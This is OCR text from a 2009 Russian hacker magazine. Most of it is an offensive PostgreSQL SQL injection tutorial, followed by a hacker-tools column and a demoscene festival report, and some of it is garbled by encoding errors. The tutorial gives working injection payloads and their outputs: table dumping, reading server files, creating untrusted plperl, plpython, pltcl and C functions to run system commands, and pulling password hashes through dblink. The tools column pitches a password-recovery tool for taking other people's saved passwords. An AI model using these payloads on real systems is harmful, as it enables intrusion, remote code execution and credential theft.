FROM information_schema.tables LIMIT 1 OFFSET Query failed: ERROR: invalid input syntax for
0 type boolean: "admin"

Стоит заметить, что оператор limit имеет в PostgreSQL дру- При использовании этого способа есть одна особен-
гой вид и состоит из двух частей: ность. Мы не можем выводить интересующую нас запись,
LIMIT — число записей, которое будет выведено из БД. используя limit offset. Для этого нам потребуется составить
OFFSET — номер записи, начиная с которой будет происхо- конструкцию where columnname not in (). Предположим, что
дить вывод (0 — начало отсчета). предыдущий запрос вернул запись admin. Тогда составим
Итак, мы нашли имя таблицы, — пусть это будет users. Узна- такой:
ем имена полей запросом:
id=10;SELECT CAST(CAST(usename AS text) AS
id=-1 UNION SELECT null,null,column_name,null boolean) FROM pg_user WHERE usename NOT IN
FROM information_schema.columns WHERE table_ ('admin')
name='users' LIMIT 1 OFFSET 0
Таким образом, мы можем перебрать все содержимое
Ну а дальше выводим, так же, как и в MySQL (только не забы- таблицы. Тестируя этот метод на различных сайтах, я столк-
вай про типы и limit offset). нулся с проблемой, которую можно объяснить различием в
версиях. Заключается она в преобразовании типа boolean в
РАЗДЕЛЯЙ И ВЛАСТВУЙ любой другой тип. В официальной документации сказано:
До этого момента мы рассматривали классическую инъек-
цию с использованием оператора UNION. Сейчас я покажу Values of the boolean type cannot be cast
тебе более интересные способы. directly to other types (e.g., CAST (boolval AS
Большинство из ниже описанного будет работать, если у integer) does not work)
текущего пользователя есть права usesuper. Замечу, что
такое тут встречается намного чаще, чем в MySQL. Один из Несмотря на это, у половины тестируемых сайтов, запрос вида:

078 XÀÊÅÐ 10 /130/ 09


id=10;SELECT CAST(usesuper AS text)
FROM pg_user

не приводил к ошибке и возвращал вполне


определенное значение.
С другой стороны, является ли это большим ми-
нусом? Скорее всего, нет. Так как большинство
потенциально интересных полей имеют тип
name,text,char, который благополучно приво-
дится к другим типам и вызывает нужную нам
ошибку. Плюсы же способа очевидны. Мы не
используем union, нам не нужно подбирать ко-
личество колонок, а также искать правильный
ее тип. Способ будет работать с любой слепой
инъекцией.
Сложную конструкцию функций cast() можно
заменить на более простую, с помощью двух
двоеточий '::'. Следующий запрос вернет
нам название базы данных и имя таблицы: PHPPGADMIN. АНАЛОГ PMA ДЛЯ POSTGRESQL

id=10;SELECT (table_
schema||':::'||table_
name)::text::boolean FROM
information_schema.tables Если мы не знаем имя таблицы, из которой LIMIT? NO LIMIT
извлекаются данные, можно составить Зачем использовать limit или not in (), когда
МНОГОСТРОЧНЫЕ ЗАПРОСЫ универсальный запрос для любого случая: мы можем вывести сразу все записи. Для этого
Иногда SQL-запрос может состоять из несколь- нам нужно, чтобы был включен язык plpgsql,
ких строк. Пример: Id=10;SELECT version()::int;SELECT либо, если имеем права usesuper, создадим его
1 FROM pg_user WHERE 1=1 or 2=2 самостоятельно:
SELECT id,title,text
FROM news ВСЕ ПРЕЛЕСТИ USESUPER id=10;CREATE LANGUAGE 'plpgsql'
WHERE id=$id А теперь рассмотрим случай, когда запрос
AND is_enable=TRUE А вот и сама функция:
SELECT usesuper FROM pg_user WHERE
В этом случае использование символов «--» usename=current_user id=10;CREATE OR
нам не поможет, так как закомментируется REPLACE FUNCTION getall
только текущая строка. Чтобы реализовать возвращает значение true. Здесь у нас необъ- (text,text,text,text,text,text)
SQL-Injection, нужно составить синтаксически ятное поле для действий, начиная с вывода RETURNS text AS $func$
правильный запрос. В данном случае он будет всей информации из таблицы и заканчивая
выглядеть так: выполнением системных команд на сервере. DECLARE
Сейчас ты поймешь, что PostgreSQL не только schema ALIAS FOR $1;
Id=10;SELECT version()::int;SELECT мощная, но и в неумелых руках очень опасная table ALIAS FOR $2;
id FROM news WHERE 1=1 штука. column1 ALIAS FOR $3;
column2 ALIAS FOR $4;
PGSQL-BUGS — ИНОГДА ЗДЕСЬ ПОЯВЛЯЕТСЯ ИНТЕРЕСНАЯ column3 ALIAS FOR $5;
ИНФОРМАЦИЯ column4 ALIAS FOR $6;
count int;
i int;
temp text;
int_test text;
input_refc refcursor;

BEGIN
int_test := '';
OPEN input_refc FOR EXECUTE
$qr$SELECT count($qr$ || quote_
ident(column1) || $qr$) from $qr$ ||
quote_ident(schema) || $qr$.$qr$ ||
quote_ident(table);
FETCH input_refc into count;
CLOSE input_refc;
count := count — 1;
BEGIN
FOR i in 0..count LOOP
OPEN input_refc FOR

XÀÊÅÐ 10 /130/ 09 079


ВЗЛОМ

ОПИСАНИЕ UDF-ЭКСПЛОИТА ДЛЯ


POSTGRESQL...

EXECUTE $qr$SELECT $qr$


|| quote_ident(column1)
|| $qr$||chr(58)||$qr$ ||
quote_ident(column2) || ...И ЕГО РЕАЛИЗАЦИЯ :)
$qr$||chr(58)||$qr$ ||
quote_ident(column3) ||
$qr$||chr(58)||$qr$ ||
quote_ident(column4) || — и прочитаем его уже известным нам спо- Query failed: ERROR: reference
$qr$||$sep$<BR>$sep$ FROM $qr$ || собом. to parent directory ("..") not
quote_ident(schema) || $qr$.$qr$ allowed
|| quote_ident(table) || $qr$ id=10;SELECT file::boolean FROM
LIMIT 1 OFFSET $qr$ || i; filetbl ВЫПОЛНЕНИЕ
FETCH input_refc into temp; ПРОИЗВОЛЬНОГО КОДА
CLOSE input_refc; Каждая новая строка файла записывается PostgreSQL является очень мощной базой
int_test := int_test || temp; в новое поле таблицы. Предыдущий запрос данных с поддержкой многих процедурных
END LOOP; выведет лишь первую строку. Для вывода языков. В стандартный дистрибутив сейчас
RETURN int_test; всего файла построчно используй либо входят следующие:
END; where file not in(), либо, если ты используешь
END; конструкцию UNION — limit 1 offset n. C — îí æå pure c, çíàêîìûé íàì ÿçûê
$func$ LANGUAGE plpgsql; plperl — ïðîöåäóðíûé ÿçûê Perl
СОЗДАЕМ ФАЙЛЫ plpython — Python
Функция получает 6 параметров, имя БД, Имея права суперюзера, мы можем создать pltcl — TCL
название таблицы и 4 колонки. Пример произвольный файл на сервере. Для этого
использования: выполняем запрос: Помимо стандартных языков, имеются сто-
ронние реализации, такие как plPHP, plRuby
id=10;SELECT getall('pg_ id=10;COPY (SELECT 'I like it') TO и plJava. Имея права usesuper, мы можем
catalog','pg_user','usename',’use '/tmp/pgtest.txt' создать функцию на любом из этих языков.
sysid’,’usesuper’,’passwd’)::int Прежде, чем начать, вернемся к таблице
И видим результат: pg_language. Для этого выполним запрос:
А вот и результат:
-rw-r--r-- 1 postgres postgres id=10;SELECT (lanname,lanispl,lan
hacker:16384:false:******** 10 Aug 31 19:14 pgtest.txt pltrusted)::text::boolean FROM pg_
nobody:16385:true:******** language WHERE lanname='plperl'
park:16386:true:******** К счастью для нас, PostgreSQL создает файл
postgres:10:true:******** с правами чтения для всех, что позволяет, Здесь мы не используем объединение строк с
reader:16387:false:******** при наличии локального инклуда, записать помощью пайпов, а просто вводим имена коло-
sa:16388:true:******** код в файл и выполнить его. Помимо этого, нок через запятую, в результате видим ошибку:
существуют стандартные функции админист-
ЧИТАЕМ ФАЙЛЫ рирования сервера: Query failed: ERROR: invalid
Чтобы прочитать файл, нам нужно выполнить input syntax for type boolean:
несколько действий. Для начала создадим pg_read_file — ×òåíèå ôàéëà "(plperl,t,t)"
таблицу с одним полем типа text: pg_ls_dir — Ëèñòèíã äèðåêòîðèè
Теперь мы знаем, что язык plperl является
id=10;CREATE TABLE filetbl(file Однако реальной пользы от этих функций процедурным, а также безопасным. Что же
text) мало, так как они работают только в директо- в нем безопасного, спросишь ты. А я тебе
рии, указанной в $PGDATA, и выйти из нее не покажу на примере. Попробуем создать про-
После этого занесем содержимое файла /etc/ получится. стенькую функцию, которая будет принимать
hosts в таблицу: один параметр типа text и выводить символы
Query failed: ERROR: absolute path в обратном порядке. Такой запрос будет
id=10;COPY filetbl FROM '/etc/hosts' not allowed иметь вид:

080 XÀÊÅÐ 10 /130/ 09


КЛАССИКА UNION. УЗНАЕМ ИМЯ
ЮЗЕРА И ВЕРСИЮ

id=10;CREATE OR REPLACE FUNCTION


ret (text) RETURNS text AS 'return
revers($_)' LANGUAGE 'plperl' ОПРЕДЕЛЯЕМ ВЕРСИЮ, ПРЕОБРАЗУЯ ТИП В INTEGER
Теперь опробуем ее на деле:

id=10;SELECT ret('hello')::boolean id=10;CREATE OR REPLACE не полезной функции под названием


FUNCTION sys (text) RETURNS dblink(). Создана она была для подключе-
В ошибке видим: text AS 'open(FL, "$_ |");print ния к другой базе данных непосредствен-
join("",<FL>)' LANGUAGE 'plperlu' но в самом SQL-запросе. Ее использова-
Query failed: ERROR: invalid input ние выглядит так:
syntax for type boolean: "olleh" Выполняем:
SELECT * FROM
Следовательно, все работает, как надо. Но id=10;SELECT sys('id')::boolean dblink('host=127.0.0.1
нам этого мало, нужно получить выполнение
системных команд. Вот именно здесь и играет В ответ получаем: user=someuser
свою роль lanpltrusted. Попытки создать password=somepass
функцию с использованием system(), print `` Query failed: ERROR: invalid
и open() с пайпами возвращают соответствую- input syntax for type boolean: dbname=somedb',
щие ошибки: "uid=26(postgres) gid=26(postgres) 'SELECT column FROM sometable')
groups=26(postgres) RETURNS (result TEXT);
Query failed: ERROR: creation
of Perl function "ret" failed: А дальше — кто на что горазд. Можно поискать А теперь я расскажу, что же такое локальная
'system' trapped by operation mask папки на запись, или залить на сервер бекко- трастовая аутентификация. По умолчанию
Query failed: ERROR: creation нект, — тогда у нас будут права postgres. Также PostgreSQL позволяет локально подключать-
of Perl function "ret" failed: приведу примеры системных функций на других ся любому пользователю даже без пароля.
'quoted execution (``, qx)' языках: Что это нам дает? При наличии dblink() мы
можем выполнять запросы непосредственно
trapped by operation mask Python: от имени супер пользователя. Вот пример
Query failed: ERROR: creation of id=10;CREATE OR REPLACE FUNCTION подобного запроса:
Perl function "ret" failed: 'open' sys (text) RETURNS text AS 'import
trapped by operation mask os; return os.popen(args[0]). id=10;SELECT * FROM
read()' LANGUAGE 'plpythonu' dblink('host=127.0.0.1
Постгрес не дает нам создать потенциально
опасные функции, но и это можно обойти. TCL user=postgres db=somedb','SELECT
Для начала создадим новый язык по шаблону id=10;CREATE OR REPLACE FUNCTION passwd from pg_shadow') RETURNS
языка Perl. Список шаблонов находится в sys (text) RETURNS text AS 'exec (result text)
таблице pg_pltemplate. Чтобы создать новый $1' LANGUAGE 'pltclu'
язык, пишем: Ну а что делать, когда имеешь права супер-
C юзера, ты уже знаешь.
id=10;CREATE LANGUAGE 'plperlu' id=10;CREATE OR REPLACE FUNCTION
sys (cstring) RETURNS text AS '/ OUTRO
В таблице pg_language появится новый язык lib/libc.so.6', 'system' LANGUAGE Я попытался раскрыть наиболее важ-
plperlu, но поле lanpltrusted уже будет false, 'C' STRICT ные аспекты проведения инъекций
символ «u» как раз и означает «недове- в PostgreSQL, затронув их ключевые
ренный» (Untrusted). Теперь нам остается DBLINK() И TRUST особенности. Всю документацию ты
создать функцию, которая будет выполнять АУТЕНТИФИКАЦИЯ можешь получить на официальном
системную команду на сервере и выводить ее В завершение статьи хочу рассказать сайте postgresql.org, либо... пиши мне
результат: тебе о редко встречающейся, но край- на e-mail :) z

XÀÊÅÐ 10 /130/ 09 081


ВЗЛОМ
ЛЕОНИД «R0ID» СТРОЙКОВ R0ID@BK.RU

X-TOOLS
ПРОГРАММЫ ДЛЯ ХАКЕРОВ
ПРОГРАММА: FTP INDEXER CLASS [file] => Array (
ОС: *NIX/WIN [0] => blablabla.com.txt
АВТОР: SHARKY [1] => blablabla2.com.txt
Будь то чекинг фтп-акков или массовый ифрей- [2] => blablabla3.com.txt
минг — везде требуется софт, причем, разнопла- )
)

3. Поиск файлов: Конфигурируем CFM

$ftpic->find([îáúåêò ïîèñêà], [êîð-


íåâàÿ ïàïêà]); ïðåäíàçíà÷åíà äëÿ ïîëó÷åíèÿ è âèçó-
àëüíîãî ïðåäñòàâëåíèÿ ñîäåðæèìîãî
Например: òðàïîâ, ïîëó÷åííûõ îò óñòðîéñòâ

$ftpic->find("phpmyadmin", "/"); Перед инсталляцией тулзы следует проверить


наличие всех необходимых для работы компо-
Ответ: нентов, а именно:

Array ( • mysql
[0] => /blablabla.com/phpmyadmin/ • apache
Сорец фтп-класса :) [1] => /blablabla2.com/phpmyadmin/ • postfix (èëè ëþáàÿ äðóãàÿ ïî÷òîâàÿ
[2] => /bck/phpmyadmin.txt ñèñòåìà)
нового характера, который объединяет лишь одно ) • mailx
— работа с фтп-протоколом. Зачастую утилы под • Perl-ìîäóëè:
свои нужды приходится кодить собственноручно, Словом, описывать класс почти бесполезно. DBI, Net-SNMP, Net-DNS, net-ping,
изобретая при этом велосипед :). Что ж, более на- Лучше один раз увидеть и заюзать :). MailTools, MIME-Lite, MIME-Base64,
прягаться не придется, к твоим услугам удобный P.S. Внося изменения в сорец — не забывай о XML-XPath, XML-Parser
PHP-класс от Sharky — «FTP Indexer Class». Как копирайтах автора.
видно из названия — класс предназначен для Кроме того, необходимо подружить апач и
индексации файлов и упрощения поиска. Приво- ПРОГРАММА: CFM мускул с UTF-8, — после чего можно переходить
дить сорец целиком в рубрике — дело неблаго- ОС: *NIX к установке (предварительно залогинившись
дарное, посему рассмотрим основные моменты: АВТОР: АЛЕКСЕЙ РЕМНЕВ под рутом):
1. Коннект и авторизация: Обрастая со временем множеством серверов,
используемых под разные задачи, мы неиз- ./cfm_install.pl -p <mysql_root_
$ftpic = new FtpIC([ñåðâåð], [ïîðò], бежно сталкиваемся с одной существенной password>
[òàéìàóò], [ëîãèí], [ïàðîëü], [Îòîá- проблемой — необходимостью следить за
ðàæåíèå îøèáîê]); каждым дедиком в отдельности. Однако с появ- В процессе инсталла будут созданы следующие
лением такой утилы, как CFM aka Complex For БД:
Например: Monitoring, порядок вещей меняется в корне.
Тулза представляет собой систему мониторинга • cfm_cfg — áàçà äëÿ êîíôèãóðàöèè
$ftpic = new FtpIC("blablabla.com", сетевой инфраструктуры и, что не может не è òåêóùåãî ñîñòîÿíèÿ îïðàøèâàåìûõ
21, 10, "admin", "12345", true); радовать, является полноценным OpenSource- óñòðîéñòâ
продуктом. Софтина осуществляет сбор данных • cfm_mon — áàçà äëÿ õðàíåíèÿ çíà÷å-
В случае удачной авторизации — TRUE, в про- с помощью snmp-протокола и совместима с íèé îïðîñà óñòðîéñòâ
тивном случае — FALSE. любым Линух-дистром. Стоит отметить, что кли- • cfm_traps — áàçà äëÿ õðàíåíèÿ ïî-
2. Структура файлов и папок: ентская часть системы реализована в качестве ëó÷åííûõ òðàïîâ
плагина для файрфокса, а серверная — написа-
$ftpic->tree([êîðíåâàÿ ïàïêà], на на перле и состоит из трех основных частей: В базе cfm_cfg находятся таблицы:
[ãëóáèíà ïîñòðîåíèÿ]);
• Ïîäñèñòåìà îïðîñà óñòðîéñòâ — • DEVCFG — êîíôèãóðàöèÿ îïðàøèâàåìûõ
Например: îïðåäåëÿåò äîñòóïíîñòü ðàçëè÷íûõ óñòðîéñòâ
äåâàéñîâ â ñèñòåìå • SNMPCFG — çíà÷åíèÿ îïðàøèâàåìûõ
$ftpic->tree("/www/", 2); • Ïîäñèñòåìà îïîâåùåíèÿ î âîçíèêíî- OID
âåíèè êðèòè÷åñêèõ ñîáûòèé — ðàññûëà- • SNMPVAL — òåêóùèå çíà÷åíèÿ îïðîñà
Пример выполнения: åò óâåäîìëåíèÿ íà ìûëî ïðè âîçíèêíî- • DEVSTS — òåêóùèé ñòàòóñ è ñ÷åò÷èê
âåíèè êðèòè÷åñêèõ ñîáûòèé îøèáîê êàæäîãî äåâàéñà
[stats] => Array ( • Ïîäñèñòåìà ïîëó÷åíèÿ òðàïîâ — • ALARMCFG — êîíôèã ñèñòåìû îïîâå-

082 XÀÊÅÐ 10 /130/ 09


ùåíèÿ • Directory Opus (mostly all versions)
• GRAPHCFG — êîíôèãóðàöèÿ ãðàôèêîâ • FTP Uploader (mostly all versions)
äëÿ êàæäîãî äåâàéñà
• USERS — ñïèñîê îòâ. ëèö äëÿ ñëóæáû 2. E-mail-клиенты:
îïîâåùåíèÿ
• CROSSID — èñïîëüçóåòñÿ äëÿ ïîëó÷å- • Outlook Express 6.0
íèÿ ñïèñêà îòâ. ëèö • Outlook 2000 (MSO 2000), 2002 (MSO
• OFFICE — ñïèñîê ïîìåùåíèé, â êî- XP), 2003 (MSO .NET), 2007
òîðûõ óñòàíîâëåíî êîíòðîëèðóåìîå • Mozilla Thunderbird 1.0
îáîðóäîâàíèå • The Bat! v. 1.x, 2.x, 3.x
• TEMPRCFG — êîíôèãóðàöèÿ ìîíèòî- • Becky 2.x
ðèíãà òåìïåðàòóðû â ïîìåùåíèÿõ Вспоминаем пароли :) • Eudora/Eudora Light (mostly all
• CROUPS — èñïîëüçóåòñÿ äëÿ ïîëó÷å- versions)
íèÿ ñïèñêà ãðóïï îáîðóäîâàíèÿ Recovery уверенно продолжает развивать- • Gmail Notifier (mostly all versions)
• MIBFILE — èñïîëüçóåòñÿ äëÿ ó÷åòà ся и радовать нас новыми функциями. На • Mail.Ru Agent 4.x
óñòàíîâëåííûõ ôàéëîâ MIB этот раз я предлагаю обратить внимание на • Opera Email Client
• mib2 portable-версию тулзы, которую ты без труда • IncrediMail (mostly all versions)
• entrtprises сможешь закинуть на флешку и взять с собой • Group Mail Free (mostly all
• clns в гости к другу... Из особенностей софтины versions)
• snmpDomains следует выделить: • Vypress Auvis 2.x
• snmpProxys • PocoMail 3.x, 4.x
• snmpModules • Äåøèôðîâàíèå ïàññîâ íàëåòó • Forte Agent 3.x
• ×òåíèå ïàðîëåé ïîä çâåçäî÷êàìè • iScribe/nScribe 1.x
Также появятся два новых мускул-юзера: • Àóäèò ñîõðàíåííûõ ïàðîëåé (aka • POP Peeper 3.x
ïðîâåðêà íà ñòîéêîñòü) • Mail Commander 8.x
• cfmroot — àäìèíñêèé àêêàóíò, èñ- • Ïîääåðæêà ìíîæåñòâà äîïîëíèòåëüíûõ • Windows Mail (mostly all versions)
ïîëüçóåòñÿ äåìîíàìè, ïàññ ïî äåôîë- ïëàãèíîâ • Windows Live Mail (mostly all
òó: t25r8sts • Êîïèðîâàíèå SAM-ôàéëà versions)
• cfmuser — íîáîäè àêê, èñïîëüçóåòñÿ • Îáðàáîòêà çàáëîêèðîâàííûõ äëÿ ÷òå-
ïåðë-ñêðèïòàìè, ïàññ ïî äåôîëòó: cfm íèÿ ôàéëîâ Кроме того, тулза успешно вспоминает пассы от
• Ñîõðàíåíèå íàéäåííûõ ïàðîëåé â ряда IM-клиентов и еще множества полезных
После завершения установки настоятельно ре- ôàéë утил.
комендуется сменить пароли, внеся соответст- • Ãåíåðàòîð ïàðîëåé
вующие изменения в CFM. Запуск системы ПРОГРАММА: AUTOCLICKEXTREME
мониторинга осуществляется командой /etc/ Особенно впечатляет список поддерживае- ОС: WINDIWS 2000/XP
init.d/cfm start. мого для извлечения паролей софта, среди АВТОР: SHER-KHAN-SOFT
Клиентская часть в виде фф-плагина состоит из которого… Каждый день мы сталкиваемся с рути-
двух частей: cfmadmin.xpi и cfmuser.xpi. После 1. FTP-клиенты: ной, причем нередко приходится повто-
установки и запуска браузера будут доступны рять одни и те же действия, напоминаю-
основные разделы меню: • Windows/Total Commander 4.x, 6.x щие подобие копипаста :). Для решения
• FAR Manager 1.6x, 1.7x проблемы и были придуманы автоклике-
• CFM admin — çàïóñê àäìèíêè • WS_FTP 5, 6, 7, 8, 9, 10 Home/Pro, 2007 ры, способные повторять нажатия кла-
• CFM view — çàïóñê þçåðñêîé ïàíåëè • CuteFTP Home/Pro (mostly all виш мыши и клавы. Несколько подобных
versions) прог я уже описывал в Х-Тулз, и сегодня
С каждым из разделов разумнее знакомиться • FlashFXP 1.x-3.x хочу познакомить тебя с достойным
опытным путем, ибо описать их полностью — не • FileZilla 2.x представителем софтин подобного
представляется возможным по причине широ- • FTP Commander Pro/Deluxe (mostly рода. Встречай — AutoClickExtreme. Из
кой функциональности. Уверен, что в процессе all versions) основных возможностей утилы можно
эксплуатации ты по достоинству оценишь все • FTP Navigator (mostly all отметить:
преимущества сего продукта, который, несом- versions)
ненно, облегчит тебе жизнь. • BulletProof FTP Client 1.x, 2.x • Çàïèñü/âîñïðîèçâåäåíèå äåéñòâèé
P.S. Благодарим автора софтины за прекрас- • SmartFTP 1.x, 2.x þçåðà â ïðîèçâîëüíûõ ïðèëîæåíèÿõ
ный релиз и сливаем утилу с нашего диска. • TurboFTP 5 • Ïèêñåëüíûé êîíòðîëü, òî åñòü âîç-
Если у тебя прямые руки и работоспособная • FFFTP 1.x ìîæíîñòü ïðèâÿçêè äåéñòâèé ìûøè ê
голова — смело помогай развивать проект на • CoffeeCup FTP 3.x ïèêñåëüíûì èçîáðàæåíèÿì íà ýêðàíå
http://fireforge.net/projects/cfm. • Core FTP 2.x • Óäîáíàÿ íàñòðîéêà ñëó÷àéíîãî îò-
• FTPExplorer 7.x êëîíåíèÿ êëèêîâ ìûøêîé
ПРОГРАММА: • Frigate3 FTP 3.x • Âîçìîæíîñòü âñòàâêè èç áóôåðà
MULTI PASSWORD RECOVERY • UltraFXP 1.x îáìåíà ïðîèçâîëüíîãî òåêñòà âìåñòî
ОС: WINDIWS 95/98/ME/2000/2003/ • FTPRush 1.x êîðîòêîé êîìàíäû âûçîâà
XP/VISTA • SecureFX (mostly all versions) • Óïðàâëåíèå áóôåðîì îáìåíà
АВТОР: АЛЕКСАНДР ДЕМЧЕНКО • Web Site Publisher 2.1.0 • Íàçíà÷åíèå «ãîðÿ÷èõ» êëàâèø äëÿ
Порой очень хочется вспомнить все свои • BitKinex 3.0.8 êàæäîé çàïèñè
забытые пароли, включая аську, мыло, фтп, • ExpanDrive 1.8 • Óïðàâëåíèå çàïèñÿìè
а также пассы, сохраненные в браузере, • Classic FTP PC (mostly all versions)
даже если они не совсем твои :). Желание • Fling (mostly all versions) Поверь, утила вполне функциональна. Ты
вполне естественное, а главное — легко • SoftX FTP Client (mostly all убедишься в этом, как только опробуешь ее
осуществимое. Благо, утила Multi Password versions) собственноручно. z

XÀÊÅÐ 10 /130/ 09 083


СЦЕНА
МАРИЯ «MIFRILL» НЕФЕДОВА MIFRILL@REAL.XAKEP.RU

Î ÒÎÌ, ÊÀÊ ÏÐÎØÅË ÇÍÀÌÅÍÈÒÛÉ ÔÅÑÒ Â ÝÒÎÌ ÃÎÄÓ


ÔÅÑÒÈÂÀËÜ CHAOS CONSTRUCTIONS (CC) — ÎÄÍÀ ÈÇ ÑÒÀÐÅÉØÈÕ
ÄÅÌÎ-ÏÀÒÈ Â ÐÎÑÑÈÈ, ÕÎÒß ÍÀ ÑÅÃÎÄÍßØÍÈÉ ÄÅÍÜ CC ÏÎ ÔÎÐÌÀÒÓ
ÑÒÀË ÁËÈÆÅ Ê LAN-ÏÀÒÈ, ÈËÈ ÏÐÎÑÒÎ Ê ÊÎÌÏÜÞÒÅÐÍÎÌÓ
ÔÅÑÒÈÂÀËÞ. ÊÀÊ ÁÛ ÒÎ ÍÈ ÁÛËÎ, ÃÎÄ ÎÒ ÃÎÄÀ ÍÀ CHAOS
CONSTRUCTIONS ÏÐÈÅÇÆÀÞÒ ÓÌÅËÜÖÛ ÈÇ ÑÀÌÛÕ ÎÒÄÀËÅÍÍÛÕ
ÓÃÎËÊÎÂ ÍÀØÅÉ ÑÒÐÀÍÛ, À ÒÀÊÆÅ ÑÎÑÅÄÈ ÈÇ ÑÒÐÀÍ ÁËÈÆÍÅÃÎ
È ÍÅ Î×ÅÍÜ ÇÀÐÓÁÅÆÜß. ÑÅÉ×ÀÑ ß ÐÀÑÑÊÀÆÓ ÒÅÁÅ Î ÒÎÌ, ÊÀÊ
ÐÀÇÂËÅÊÀÅÒÑß ÍÀØ ÀÍÄÅÃÐÀÓÍÄ, È ÍÀ ×ÒÎ ÑÏÎÑÎÁÍÛ ÒÅ ÑÀÌÛÅ
«ÓÌÅËÜÖÛ».

084 XÀÊÅÐ 10 /130/ 09


ÈÍÒÐÎ виальных кодерских методик и алгоритмов). с конкурсами для казуалов (чтобы они не чувст-
Перед тем как непосредственно перейти к рас- Состояли первые интро и демо, как правило, вовали себя совсем уж обделенными). Пожа-
сказу о Chaos Constructions 09, хочется немного просто из ника автора или его логотипа, плюс луй, единственное, что с годами не претерпело
рассказать о явлении демосцены как таковом, самые чумовые красоты и эффекты, на которые никаких изменений — CC как и ранее остается
ведь даже организаторы ЦЦ не возражают только был способен компьютер тех лет. В мероприятием некоммерческим и неформаль-
против «экскурсов в историю». скором времени, когда некая «критическая ным, строящимся на вольных начинаниях и,
Итак, для тех, кто последние годы прожил в масса» мейкеров была достигнута, они начали по сути, на голом энтузиазме организаторов.
глубоком бункере в тайге — как очень верно банально соревноваться друг с другом (порой Для тех, кто «хочет знать героев в лицо» — три
замечает русская Википедия — «демосцена — даже негласно), стараясь перещеголять «кон- главных орга ЦЦ 2009 — Oldayn, Frog и Random;
это субкультура и направление компьютерного курентов» и придумать что-то новое, еще никем именно этих людей стоит благодарить за то, что
искусства», и ключевое слово здесь именно нереализованное. Вот тебе и демосцена, а чуть фестиваль вообще имел место. Всего же над
«искусство». Зародился этот оригинальный позже и демо-пати с фестивалями. организацией фестиваля в этом году трудилось
способ творческого самовыражения примерно Итак, надеюсь, ты еще не умираешь от скуки, порядка 20 человек.
одновременно с появлением первых домаш- потому что теперь я позволю себе еще немного
них компов — в 70-80-е годы. Именно тогда позанудствовать и сказать пару вводных слов о Â ÎÁÙÅÌ È ÖÅËÎÌ
компьютеры не только стали «ближе к людям», самом фесте. Вот уже который год Chaos Constructions
но и научились воспроизводить графику и звук. Chaos Constructions тусовка старая — зародил- проходит в конце лета в Питере, на территории
А там где есть музыка и визуальный ряд, всегда ся фест в далеком 1995, под именем EnLight, торгово-выставочного комплекса «Евразия».
найдется место и полету фантазии. и тогда эта была классическая демо-пати. Не Сюда приезжают тысячи человек из самых
На базе таких культовых машин как ZX Spec- сложно догадаться, что мероприятие поначалу разных стран мира, будь то Казахстан, Украина,
trum, Commodore 64, а позже Amiga и Atari, было весьма камерным, ведь в те годы в России Белоруссия или США, ну и, конечно, здесь
первые демомейкеры начали «творить чудеса» о демосцене знали, пожалуй, только сами полно народу из всех уголков нашей огромной
— они заставляли компы исполнять трюки, демомейкеры, да круг приближенных к ним страны. Особенно стоит отметить тот факт, что
которые по тем временам были дикостью. лиц и фанов. Так что будущий ЦЦ собирал лишь в последние годы гости имеют возможность
Первыми ласточками нового искусства стали пару сотен человек и полностью посвящался остаться ночевать прямо на фестивале (для
короткие интро — заставки, которые присо- демо-искусству. этого предусматриваются и места и условия),
вокупляли к взломанным играм, софту или к Но с годами ситуация стала меняться — в век так что им можно не забивать себе голову поис-
совсем еще совсем редким в ту пору езинам. развитых видеокарт и игр демо-сцена начала ками гостиницы и лишними расходами.
Да-да, ломать игры и софт и писать к ним кряки, сдавать позиции — к сожалению, мало кому Но CC уникален не только тем, что ему сум-
начали практически одновременно с появле- сегодня интересно втискивать красивости в марно уже более 10 лет и тем, что аналогичных
нием на свет КИ и софта. микрокод, когда какая-нибудь NVidia и пять мероприятий в России практически нет, но и
Чем меньше «весила» демомейкерская подел- гигов текстур переварит, не подавится. В итоге, совершенно неповторимой атмосферой. На
ка, тем лучше, но, несмотря на «вес», крохотная Chaos Constructions потихоньку мутировал в самом деле, я вряд ли погрешу против правды,
прога выжимала из компьютера все, на что полноценный компьютерный фест, с выставкой если скажу, что Chaos Constructions «делают»
тот был способен (путем реализации нетри- старого железа, хак-зоной, семинарами и даже именно приезжающие сюда люди и атмосфера,

XÀÊÅÐ 10 /130/ 09 085


СЦЕНА

а вовсе не конкурсы, семинары и наоборот ностальгировал по ста- лялось погонными сотнями, или ем акселерации на плате NeoGS,
иже с ними. По сути, раз в год, в рым компам и былым временам. В даже десятками, но это обычное и выдает такие эффекты, которых
конце августа, почти весь русский этом же году люди чинно выстрои- дело — народ брал качеством, а от обычного Спектрума ждать не
компьютерный андеграунд выби- лись в аккуратную очередь на вход, не количеством. Ни для кого, в приходится. Интересна также и
рается из своих берлог и со всего держа подмышками ноутбуки, и общем-то, не секрет, что наши де- работа, занявшая 4-е место — «8
мира съезжается в Питер, а на это, особой жажды общения за ними момейкеры пишут такие шедевры, bit snail» от svo. Простенькое, на
поверь, стоит посмотреть. замечено не было. Очевидно, это от которых завистливо подвывает первый взгляд, интро написано
На ЦЦ каждый может найти что-то связано с тем, что серьезных дядек и кусает локти вся западная сцена. для весьма редкой платформы
свое: кого-то больше заинтересуют на CC стало приезжать меньше, Так что, хоть CC и не дотягивает до Вектор 06ц, что само по себе
конкурсы (их здесь представ- а новые люди (которых, к счас- размаха той же Assembly, интерес- достойно всякого уважения и,
лен очень широкий спектр, от тью, было много), еще не успели ного здесь бывает немало. возможно, даже более высокого
паяльных и программерских, до распробовать запретный плод по В общих чертах можно сказать, места :).
демосценерских и просто креа- имени Chaos Constructions :). что больше всего работ на CC09 В Combined 64k Intro победила
тивных, например, на лучшее фото вполне традиционно представили мрачноватая и стильная «Write
или рисунок, сделанные на фес- ÄÅÌÎÑÖÅÍÀ спектрумисты, коих у нас до сих me, please» от f0x.
тивале), кого-то — компьютерная Большая часть времени CC, тради- пор немало, и они любят показать Первое место в Combined Demo
безопасность, а кого-то — общение ционно, посвящается всевозмож- класс. Теперь немного подроб- (объемом до 16 Мб) досталось
с людьми, посиделки за старыми ным конкурсам — в этом году на ностей о самых примечательных «Digere animo» от demarche, но
компьютерами и ностальгические фестивале состоялось без малого работах, о распределении мест и сам конкурс выглядел бледнова-
воспоминания. Все перечислен- 30 различных состязаний. Часть из победителях. то — имея в своем распоряжении

ное, помноженное на нефор- них проходит в режиме реального Интро «Yes we can» от Quite, более широкое поле деятельности,
мальную обстановку, порождает времени, другая же часть требует взявшее первое место в конкурсе авторы показали почти то же са-
непередаваемый коктейль. длительной подготовки, так что Combined 4k Intro — яркий пример мое, что и их коллеги из конкурсов
